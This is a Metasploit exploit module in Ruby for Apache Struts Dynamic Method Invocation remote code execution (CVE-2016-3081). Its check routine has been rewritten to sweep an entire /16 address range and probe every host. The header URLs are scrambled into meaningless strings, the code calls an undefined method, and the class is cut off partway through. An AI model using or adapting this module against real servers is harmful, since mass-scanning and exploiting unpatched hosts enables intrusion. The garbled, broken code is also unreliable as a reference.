##
# This module requires Metasploit: 6b4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2W2N6r3q4K6M7r3I4G2K9i4c8Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8%4N6F1L8r3!0S2k6l9`.`.
# Current source: 65cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5j5i4m8A6k6o6N6Q4x3V1k6E0k6i4c8S2M7%4m8D9L8$3W2@1i4K6u0V1k6Y4u0S2L8h3g2%4L8%4u0C8
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [
'Nixawk', # original metasploit module
'rungobier' # improved metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'ff2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6k6h3g2T1N6h3N6Q4x3X3g2G2M7X3N6Q4x3V1k6$3N6h3I4V1j5W2)9J5c8Y4y4K6N6X3W2V1i4K6u0V1z5e0p5K6z5o6W2Q4x3U0M7`. ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def get_target_platform
target.platform.platforms.first
end
def check
lip=datastore['RHOST']
lport=datastore['RPORT']
segs=lip.split(".")
begin
check_ori
rescue
puts(lip+" error")
end
for a in 0..254
for b in 0..254
segs[2]=a
segs[3]=b
newip=segs.join(".")
register_options(
[
Opt::RHOST(newip),
Opt::RPORT(lport),
], self.class)
begin
check_ori
rescue
puts(newip+" time out")
end
end
end
end